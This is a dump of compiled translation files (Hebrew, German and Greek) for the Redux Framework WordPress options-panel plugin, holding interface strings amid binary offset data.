Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Standard Fonts�Status�Style�Subsets�Support�System Info�Theme�This field must be a valid color value.�This field must be a valid date.�Title�To �Top�Transparent�URL�Units�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Warning- This options panel will not work properly without javascript!�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�error(s) were found!�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Hebrew (Israel) (http://www.transifex.com/projects/p/redux-framework/language/he_IL/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: he_IL Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �הפעל מצב דמו�פעיל�הוסף עוד�הוסף/ערוך גלריה�הכל�אשר מעקב�האם אתה בטוח? איפוס יגרום לאיבוד הערכים שהכנסת.�האם אתה בטוח? איפוס יגרום לאיבוד כל ההגדרות שביצעת בסקשן זה.�האם אתה בטוח? איפוס יגרום לאיבוד ההגדרות שהגדרת.�רקע מצורף�מיקום תמונת רקע�חזרת תמונת רקע�גבה משפחת פונט�הסגנון של הגבול�תחתית�שינויים�נקה גלריה�לחץ כאן על מנת לבצע אקטיבציה לקובץ הקינפוג�סגור�קרדיטים�בטל מצב דמו�ברירת מחדל�מחיקה�תיאור�מפתח�לכבות�סגור�לא להרשות מעקב�כתובת אימייל�ערכה פעילה�הרחב�אפשרויות יצוא�הרחבות�גופן�גודל גופן�צבע פונט�משפחת פונטים�תסריט פונט�סגנון פונט�תת-פונט�מ�להתחיל עכשיו�גווגל ווב-פונטים�גובה�עזור בשיפור הפאנל שלנו �כאן תוכל להעתיק/להוריד את הגדרות הפאנל שלך. שמור את זה במקום בטוח על מנת שתוכל להשתמש בזה כגיבוי אם משהו לא ילך כשורה. או שתוכל לשמור את זה לשחזור הגדרות באתר זה (או בכל אתר אחר).�מעבר�יבוא�יבוא / יצוא�הגדרות יבוא�יבא מתוך קישור�הכנס את הקישור להגדרות של אתר אחר ולחץ על יבוא על מנת לטעון את ההגדרות מאותו האתר.�הכנס את קובץ הגיבוי שלך מתחת ולחץ על יבוא על מנת לשחזר את הגדרות האתר שלך מתוך גיבוי.�לשמאל�מרווח אות�MySQL גרסה�שם�פריט מסוג זה לא נמצא.�לא נבחרה מדיה�כבוי�פועל�אפשרויות�אובייקט הגדרות�פאנל האפשרויות נוצר ע"י %1$s�גרסת PHP�סיסמה�מערכת רדוקס�לרדוקס יש דמו מצורף�רגיל�הסרה�אפס את הכל�אפס סקשן�ימין�שמור שינויים�בחר אייטם�ייבוא הגדרות בוצע !�ההגדרות נשמרו!�הגדרות שונו. אנא שקול לשמור אותם !�בדוק אובייקט בג'אווה סקריפט קונסול �גודל�פונטים סטנדרטיים�סטטוס�סגנון�תת�תמיכה�מידע מערכת�ערכת עיצוב�השדה חייב להכיל ערך תקין של צבע.�שדה זה חייב להכיל ערך תאריך תקני.�כותרת�ל�למעלה�שקיפות�קישור�יחידות�העלאה�משתמש�שם משתמש�גרסה�גרסה %s�%s�אתר התוסף�קישור שביקרו בו�אזהרה! זה יגרום לדריסת כל ההגדרות הנוכחיות. אנא המשך בזהירות !�אזהרה - פאנל האפשרויות לא יעבוד בצורה תקינה ללא ג'אווה סקריפט !�מה חדש�רוחב�מרווח מילים�עובד...�אין לך הרשאות לגשת לעמוד זה.�ישנם שינויים שלא נשמרו. האם תרצה לשמור אותם עכשיו?�השינויים שביצעת לא נשמרו. האם תרצה לשמור אותם עכשיו?�אסור להכניס ערכי HTML לשדה זה. כל תגיות ה HTML הוסרו.�אסור להכניס לשדה זה תווים מיוחדים. כל התווים המיוחדים הוסרו.�אתה חייב להפריד בין הערכים ע"י פסיקים בהגדרה זו.�חובה להכניס ערכים מספריים לאפשרות זו.�חובה להכניס ערך קישור URL תקני לאפשרות זו.�אתה חייב לספק כתובת אימייל תקנית להגדרה זו.�ההגדרות שהגדרת יוחלפו בערכים חדשים. האם תרצה להמשיך?�האפשרויות שהגדרת יוחלפו בערכים חדשים. האם תרצה להמשיך?�שגיאה(ות) נמצאו !�ישנן אזהרה(ות) !�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-de_DE.mo��������������������������������������������������0000644�����������������00000034256�14720701300�0016255 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������d����� ������8�����9�����L�����i�����p���������������������������5�����D�����4���>�� ���s������������������������������������� ��������"�����)�� ���1�� ���;��.���I�����x�����~���������������������� ����� �����l��������L�����T�����\�� ���r����������������� ����� ����� ����� ����� ����� ���������� ����� ����� ����� ����� ���)�����6�� ���<�����G�����W�����g�����n����������R�����X��Z���^��U������������������&�����5��]���E��X��������������� ����� �����2���(�����[�����`�� ���g��!���r��������������������������� ���������� �������������������������%����������������������� �� ���%�� ���/�����=�� ���C�����P�����k�����z�������,�����(����������������������� ������� ��������$�����,�� ���4�� ���@�����K�����[��'���j��.����������3�����'����� ���#��y���D����������������� ���������������(�������� ��������������� �� ���(�����3�����;�����Q��U���Y�������F�������������������� ���4�����?�� ���E�� ���R��;���]��F�����E�����K���&��b���r��L�����3���"��-���V��/�����a�����`��������w������������,���������������j��� �����k#�����#�����#�����#�����#�����#�����#��)���#�����$��@���)$��R���j$��@���$��)���$��!���(%�����J%�����[%�����n%�����%�����%�����%�� ���%�����%�����%�� ���%�����%��D���%�� ���9&�� ���D&�����P&�����l&�����&�����&�� ���&�� ���&�����&�� ���O'�� ���\'�����f'�����~'�� ���'�� ���'�����'�� ���'�� ���'�� ���'�����'�� ���'�����'����� (�� ���%(�� ���2(�� ���=(�� ���K(�� ���W(�����e(�� ���i(�����t(�����(�����(�� ���(����(�����)�����)��r���)��k���P*�� ���*�����*�����*�����*��x���+�����z+�����&,�����,,�����;,�� ���O,��8���[,�����,�����,�� ���,��.���,�����,�����,�����,�����,�����,�����-�����.-�� ���7-�����D-�����.�����/.�����?.��;���Y.�����.�����.�� ���.�����.�����.�� ���.�����.�����.��6���.�����3/�����F/��!���`/��<���/��+���/�����/�����/�����/�����0�� ���0�����#0�� ���,0�����:0�����B0�����T0�����d0�����u0��0���0��.���0�����0��;���0��0���*1��*���[1��:���1�� ���1�����1�����1�� ���1�����1�� ���1��,���1�� ���2�����'2�� ���02�����=2�� ���E2�� ���P2�����[2�����s2��[���{2�����2��Y���3�����.4��"���N4�� ���q4�� ���4�����4�� ���4�����4��H���4��M��� 5��M���X5��M���5��Z���5��Y���O6��@���6��;���6��>���&7��\���e7��\���7�����8�����&8�����>8��(���\8�� ���8�����8�����������5����������~����������b�������|���T������}������&�������B���o���P���%������������?���m���D���)���q���s����������������G����������n������u���'���������������������� ���0������=�����������������/����������Q��������������g������O������������������������ ���y������2���^���@������!�������X������#���8��������������������������� ���[������ ���$���e�������3�������M�����������d���>������N���R���������������,���1������V���K���6���"���H���7���j���������A�����������E������`���U���������������W�������������������+�������*���i�������4���h���9���;���c��������������Z������� ���������a������:�������l������w����������S���t�������������.���F���������� ���C�������������J���<������v�������]���{����������Y����������L����������x���r���f���z���-�����������������\������p�������������k�������������(�������I������_��������������������������������Activate Demo Mode�Activate Development Plugins�Active�Active Plugins�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Browser�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Delete�Description�Developer�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Extensions�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Front Page�Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hover�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Letter Spacing�Like Redux?�Line Height�Must call in of after the "plugins_loaded" action.�Name�New %s�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�Password�Please Wait�Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.�Redux Extensions�Redux Framework�Redux Framework Changelog�Redux Framework has an embedded demo.�Redux Generator�Regular�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Slide�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Text Align�Text Decoration�Text Transform�The people that develop Redux Framework�The unknown action has been replaced with "%s"�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�Title�To �Top�Transparent�URL�Units�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�donation�error(s) were found!�extensions directory�leave us a favorable review on WordPress.org�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: German (Germany) (http://www.transifex.com/projects/p/redux-framework/language/de_DE/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: de_DE Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Aktiviere den Demo-Modus�Entwickler-Plugins aktivieren�Aktiv�Aktive Plugins�Mehr Hinzufügen�Gallerie hinzufügen/bearbeiten�Alle�Alle Voreinstellungen wieder hergestellt!�Tracking erlauben�Sind Sie sicher? Alle ihre Einstellungen gehen dadurch verloren.�Sind Sie sicher? Alle ihre Einstellungen in diesem Bereich gehen dadurch verloren.�Sind Sie sicher? Alle ihre Einstellungen gehen dadurch verloren.�Automatisierte Action durchgeführt: "%s"�Scroll-Verhalten des Hintergrunds�Hintergrund-Clip�Hintergrund-Quelle�Hintergrund-Position�Hintergrund-Wiederholung�Hintergrundgröße�Backup-Schriftart�Rahmenstil�Unten�Browser�Changelog�Gallerie leeren�Klicken Sie hier um die Beispiel-Konfigurations-Datei zu aktivieren.�Schliessen�Mitwirkende�Deaktiviere den Demo-Modus.�Entwickler-Plugins deaktivieren�Standardeinstellungen�Löschen�Beschreibung�Entwickler�Wusstest du schon, dass wir Erweiterungen anbieten, die die Funktionen von Redux stark verbessern? Besuche unsere %1$s um mehr zu erfahren.�Deaktivieren�Verwerfen�Tracking nicht erlauben�E-Mail-Adresse�Aktivieren�Ausdehnen�Export-Einstellungen�Erweiterungen�Schriftfarbe�Schriftart�Schriftgröße�Zeichensätze�Schriftvariante�Schriftstärke & -stil�Schriftfarbe�Schriftart�Schriftsystem�Schriftstil�Zeichensätze�Von�Startseite�Jetzt loslegen�Google Webfonts�Höhe�Hilf unserer Panel zu verbessern�Hier kannst du deine derzeitigen Eingestellten Optionen kopieren/herunterladen. Verwahre es sicher auf, da es zur Wiedehrerstellung verwendet werden kann falls etwas falsch abläuft, or du deine Einstellungen auf dieser oder irgendeiner anderen Seite wiederherstellen willst.�Hinweise�Hover�Wenn ja, bitte %1$s und unterstütze uns mit einer %2$s, damit wir Redux auch in Zukunft weiterentwickeln können.�Wenn du über Redux auf dem Laufenden gehalten werden möchtest, bitte melde dich bei unserem Newsletter an�Importieren�Import / Export�Import-Einstellungen�Importieren von URL�Füge die URL von einer anderen Seiten Optionen hinzu und drücke Importieren um die Optionen von dieser Seite zu laden.�Füge deine Backup/Sicherungsdatei Datei unten ein und drücke auf Exportieren damit die Einstellungen deiner Seite aus dem Backup/ der Sicherung wiederhergestellt werden.�Links�Zeichenabstand�Gefällt dir Redux?�Zeilenhöhe�Muss nach der Action "plugins_loaded" aufgerufen werden.�Name�Neuer %s�Newsletter�Keine Elemente von diesem Typ wurden gefunden.�Keine ausgewählt�Aus�An�Optionen�Einstellungs-Objekt�Erstellt mit Hilfe von %1$s�Passwort�Bitte warten�Bitte helfen Sie uns, das Nutzererlebnis zu verbessern, indem Sie der Sammlung anonymer Nutzerstatistiken zustimmen. Damit erfahren wir, welche Einstellungen, Plugins und Themes wir auf Kompabilität testen müssen�Redux-Erweiterungen�Redux Framework�Redux Framework Changelog�Das Redux Framework verfügt über eine mitgelieferte Demo.�Redux Generator�Regulär�Entfernen�Repo�Alles zurücksetzen�Zurücksetzen�Rechts�Änderungen speichern�Voreinstellungen dieses Abschnitts wieder hergestellt!�Wähle ein Element�Einstellungen importiert!�Einstellungen wurden gespeichert!�Einstellungen wurden geändert, du solltest sie abspeichern!�Zeige Objekte im Javascript Konsolen-Objekt�Größe�Gleiten�Standard Schriftarten�Status�Style/Stil�Anmelden�Zeichensätze�Support�Systeminformation�Textausrichtung�Textauszeichnung�Texttransformation�Die Menschen, die das Redux Framework entwickeln�Die unbekannte Action wurde durch "%s" ersetzt�Theme�Dieses Feld kann nicht leer sein. Bitte gib einen Wert ein.�Dieses Feld muss einen gültigen Farbwert haben.�Dieses Feld muss ein gültiges Datum sein.�Dieses Panel demonstriert die vielen Funktionen von Redux.�Überschrift�Zu�Oben�Transparent�URL�Einheiten�Unbekannte Action "%1$s" für %2$s definiert�Hochladen�Benutzer�Benutzername�Version�Version %s�%s ansehen�Besuch die Plugin-Seite�Besucht�WARNUNG! Dies überschreibt alle bestehenden Einstellungen, bitte gehe vorsichtig damit um!�Du möchtest gleich loslegen? Verwende den %1$s. Er wird ein individuelles Boilerplate Theme oder einen eigenständigen Admin-Ordner mit allen Redux things (mit Hilfe von Unterstrichen und TGM) erstellen. Spar dir die Kopfschmerzen und probiere es aus.�Warnung - Dieses Einstellungs-Panel wird ohne Javascript nicht einwandfrei funktionieren!�Willkommen beim Redux Framework�Willkommen beim Redux Framework %s�Willkommen beim Redux-Demo-Panel�Was neu ist�Breite�Wortabstand�Funktioniert...�Du hast nicht die erforderlichen Rechte, um auf diese Seite zuzugreifen.�Ihre Änderungen wurden noch nicht gespeichert. Möchten Sie jetzt speichern?�Ihre Änderungen wurden noch nicht gespeichert. Möchten Sie jetzt speichern?�In diesen Feld kannst du kein HTML eingeben. Alle HTML Tags werden entfernt. �In diesen Feld kannst du keine Sonderzeichen eingeben. Alle Sonderzeichen werden entfernt.�Du musst eine kommaseparierte list mit numerischen Werte für diese Option bereitstellen.�Du must einen nummerischen Wert für diese Option bereitstellen.�Du musst eine gültige URL für diese Option bereitstellen.�Du musst eine gültige E-Mail für diese Option bereitstellen.�Ihre aktuellen Einstellungen werden mit den Standardwerten ersetzt. Möchten Sie fortfahren?�Ihre aktuellen Einstellungen werden mit den Standardwerten ersetzt. Möchten Sie fortfahren?�Spende�Fehler wurden gefunden!�Ordner für die Erweiterungen�hinterlasse ein Review auf WordPress.org�Dokumentation�Warnungen wurden gefunden!���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-el.mo�����������������������������������������������������0000644�����������������00000043712�14720701300�0015712 0����������������������������������������������������������������������������������������������������ustar�00���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� ������ ����� ����� ����� ����� ����� ����� ����� �������5�����D���J��4����� ������������������ ����������1�����C�����S�� ���f�����s�� ���z�� �����.��������������������������������� �� ����� �����l���(����������������� �������������������� ����� ����� ����� ����� ��������!�� ���9�� ���D�� ���P�� ���\�� ���g�����t�����z��������������������������������Z�����U��������B�����I�����Y�����h��]���x��X��������/�����4�� ���C�� ���O��2���[������������ �����!������������������������������ ����� ��������$�� ���-�����9�����J��%���Z���������������������� ����� ���������� ����������������������� ��,�����(���I�����r�����w�����}������������ ��������������� ����� ���������������.����������3�����'���R�� ���z��y�������������������� ���#�����/�����3��(���9�����b�����i�����n�����w�� ��������������������U����������F��������2�����R�� ���X�� ���e��;���p��F�����E�����K���9��b�����L�����3���5��-���i��/�����a�����`���)�����������������,���������������Y����9���m!��H���!�� ���!��+���!��6���)"�����`"��D���g"��6���"��{���"�����_#�����$��E���$�����$�����$�����%�����!%�����7%�����W%��n���t%�����%�����%�����&��#���.&�����R&�����&�����&��=���&��E���<'�����'�����'�����'�����'�����'�����(�����(��=���)��D���C)�����)�����)�����)��'���)��1���)��+���.*��0���Z*��/���*��7���*��'���*��1���+��8���M+��%���+��/���+�����+�����+�����+�����,��E���,��]��W,�����.�����.�����.�����/�����Z0��!���k0��#���0��3���0��x���0����^1�����f2��"���v2�����2�����2��P���2�� ���3�� ���3��#���'3��H���K3��J���3�����3�����3�����3��)���4��`���:4�����4�����4��%���4�����4�����4��O��� 5�����\5�����u5�����5�����5�����5��#���5�� ���5��.���5��G���6��(���b6��*���6��.���6��e���6��a���K7�����7�����7��+���7�����7����� 8�����8�����$8�����78��+���L8��!���x8��%���8��/���8��Q���8�����B9��s���K9��j���9��_���*:�� ��:�� ���;�����;�� ���;�� ���;�����;�����;��U���;�����+<�� ���<<�����I<�� ���a<�����n<�����~<��<���<�����<�����<����=��~���i?��G���?�� ���0@�����=@�����]@��Z���w@�����@�����hA�����A�����B�����rC��j���#D��p���D��r���D�����rE�����'F�� ���F��&���F��'���G��M���)G�����wG��3���G������������U�������{���Q������W���X�������)������n���p���������������^���l�������*���F���-���e���w�������j�������T���S����������5������%���P�������(���m�������z���Y���g������i����������r������`���v���D������Z���R���.���������h���+����������x���������N���L������J������ ����������;����������2��������������0��������������K���k������ �������������d������?���������3���V��� �������������7���O������� �������y��������������������_���<�������!���A�������>������������������������������1���}���|����������H���B������������������������]���u���$�����������G���,���o���t�������/�������������q�����������������[������I���E�������b���8��� ����������������\��� ���������������������~��������������c���=���'�������������������:���s����������������������������6���9�����������a���M������@���������"���&����������4�����������C���f�������#�����������Activate Demo Mode�Activate Development Plugins�Active�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Delete�Description�Developer�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hover�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Letter Spacing�Like Redux?�Line Height�Must call in of after the "plugins_loaded" action.�Name�New %s�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�PHP Version�Password�Please Wait�Redux Extensions�Redux Framework�Redux Framework has an embedded demo.�Redux Generator�Regular�Remove�Repo�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Slide�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Text Align�Text Decoration�Text Transform�The unknown action has been replaced with "%s"�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�Title�To �Top�Transparent�URL�Units�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�Welcome to the Redux Demo Panel�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�donation�error(s) were found!�extensions directory�leave us a favorable review on WordPress.org�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Greek (http://www.transifex.com/projects/p/redux-framework/language/el/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: el Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Ενεργοποιήστε τη λειτουργία Demo�Ενεργοποιήσετε Αναπτυσσόμενα Πρόσθετα�Ενεργό�Προσθέσετε Περισσότερο�Προσθήκη/Επεξεργασία Γκαλερί�Όλα�Όλες οι Προεπιλογές Αποκαταστάθηκαν!�Επιτρέψετε την παρακολούθηση�Είσαι σίγουρος; Η επαναφορά θα χάσει όλες τις προσαρμοσμένες τιμές.�Είστε σίγουροι; Η επαναφορά θα χάσει όλες τοις προσαρμοσμένες τιμές σε αυτή την ενότητα.�Είστε σίγουροι; Στη επαναφορά θα χάσετε όλες τις προσαρμοσμένες τιμές.�Αυτόματη ενέργεια που εκτελέστηκε: "%s"�Επισύναψη φόντου�Φόντο Βίντεο�Προέλευση Φόντου�Θέση φόντου�Επανάληψη φόντου�Μέγεθος Φόντου �Δημιουργία αντιγράφων ασφαλείας Οικογένεια Γραμματοσειράς�Συνοριακό στυλ�Kάτω μέρος�Σύνοψη αλλαγών�Καθαρισμός Γκαλερί�Κάντε κλικ εδώ για να ενεργοποιήσετε το αρχείο ρυθμίσεων του δείγματος.�Κλείσιμο�Ευχαριστίες�Απενεργοποιήστε τη λειτουργία Demo�Απενεργοποιήσετε Πρόσθετα Ανάπτυξης �Προεπιλογή�Διαγράψετε�Περιγραφή�Προγραμματιστής�Γνωρίζατε ότι έχουμε επεκτάσεις, οι οποίες αυξάνουν σημαντικά τα χαρακτηριστικά του Redux; Επισκεφθείτε μας %1$s για να μάθετε περισσότερα!�Απενεργοποίηση�Απόκρυψη�Μην Επιτρέψετε την παρακολούθηση�Διεύθυνση ηλεκτρονικού ταχυδρομείου�Ενεργοποίηση�Αναπτύξτε�Εξαγωγή Επιλογών�Χρώμα Γραμματοσειράς�Οικογένεια γραμματοσειράς�Μέγεθος Γραμματοσειράς�Υποσύνολο Γραμματοσειρών �Παραλλαγή Γραμματοσειράς�Βάρος Γραμματοσειράς & Στυλ�Χρώμα γραμματοσειράς�Οικογένεια γραμματοσειρών�Γραμματοσειρά δέσμη ενεργειών�Στυλ γραμματοσειράς�Υποσύνολα Γραμματοσειρών�Από�Ξεκινώντας�Google WebFonts�Ύψος�Βοηθήστε μας να βελτιώσουμε το Panel μας�Εδώ μπορείτε να αντιγράψετε/κατεβάστε τις τρέχουσες ρυθμίσεις τών επιλογών σας. Κρατήστε αυτό το ασφαλές, όπου μπορείτε να το χρησιμοποιήσετε ως ένα αντίγραφο ασφαλείας σε περίπτωση που κάτι πάει στραβά, ή μπορείτε να το χρησιμοποιήσετε για να επαναφέρετε τις ρυθμίσεις σας σε αυτή την ιστοσελίδα (ή οποιαδήποτε άλλη ιστοσελίδα).�Συμβουλές�Επικρέμαμαι�Εάν ναι, παρακαλούμε %1$s και να εξετάσει κάνοντας %2$s για να κρατήσει την ανάπτυξη από Redux να προχωρήσει.�Αν θέλετε να παρακολουθείτε με όλα τα πράγματα Redux, παρακαλούμε να εγγραφείτε στο ενημερωτικό δελτίο μας�Εισαγωγή�Εισαγωγή / Εξαγωγή�Επιλογές Εισαγωγής�Εισαγωγή από τη διεύθυνση URL�Füge die URL von einer anderen Seiten Optionen hinzu und drücke Importieren um die Optionen von dieser Seite zu laden.�Εισάγετε το εφεδρικό αρχείο σας παρακάτω και πατήστε Εισαγωγή για να επαναφέρετε τις επιλογές των ιστοσελίδων σας από ένα αντίγραφο ασφαλείας.�Aριστερά�Διάστημα Επιστολή �Όπως Redux;�Ύψος Γραμμής�Πρέπει να καλέσετε μετά την δράση «plugins_loaded".�Όνομα�Νέο %s�Ενημερωτικό Δελτίο�Βρέθηκε.χωρίς στοιχεία αυτού του τύπου.�Δεν υπάρχουν επιλεγμένα μέσα ενημέρωσης�Κλείσιμο�Άνοιγμα�Επιλογές�Επιλογές Αντικειμένου�Πίνακα επιλογών που έχει δημιουργηθεί με τη χρήση %1$s�Έκδοση PHP�Κωδικός�Παρακαλώ Περιμένετε�Επεκτάσεις Redux�Redux Framework�Το Πλαίσιο Του Redux έχει ένα ενσωματωμένο demo.�Γεννήτρια Redux�Κανονικά�Αφαίρεση�Ρεπό�Επαναφορά Όλων�Επαναφορά Τμήματος�Δεξιά�Αποθηκεύσετε τις Αλλαγές�Προεπιλογές Τμήματος Αποκαταστάθηκαν!�Επιλέξτε ένα στοιχείο�Ρυθμίσεις Εισήχθηκαν! �Ρυθμίσεις Αποθηκεύτηκαν!�Ρυθμίσεις έχουν αλλάξει, θα πρέπει να τις αποθηκεύσετε!�Εμφάνιση αντικειμένου σε Κονσόλα Javascript Αντικείμενου�Μέγεθος�Ολίσθηση�Γραμματοσειρές Πρότυπα�Κατάσταση�Στυλ�Εγγραφή�Υποσύνολα�Υποστήριξη�Πληροφορίες Συστήματος�Στοίχιση κειμένου�Διακόσμηση Κειμένου�Μετασχηματισμός κειμένου�Η άγνωστη δράση έχει 